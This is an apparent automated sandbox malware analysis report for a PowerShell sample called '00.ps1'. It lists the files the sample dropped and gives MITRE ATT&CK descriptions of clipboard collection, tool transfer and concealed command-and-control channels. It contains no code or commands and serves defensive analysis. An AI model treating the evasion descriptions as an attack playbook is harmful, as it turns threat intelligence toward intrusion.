Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\recaptcha-verify[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_11tryw12.wuq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_doegegr4.itl.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_prhfcrqx.cor.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q02jfbwq.zvh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_scsn2c0s.idp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ung4hkox.2nv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vt23wiyi.obh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vv0xvetf.m3y.ps1

Windows Analysis Report
00.ps1

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre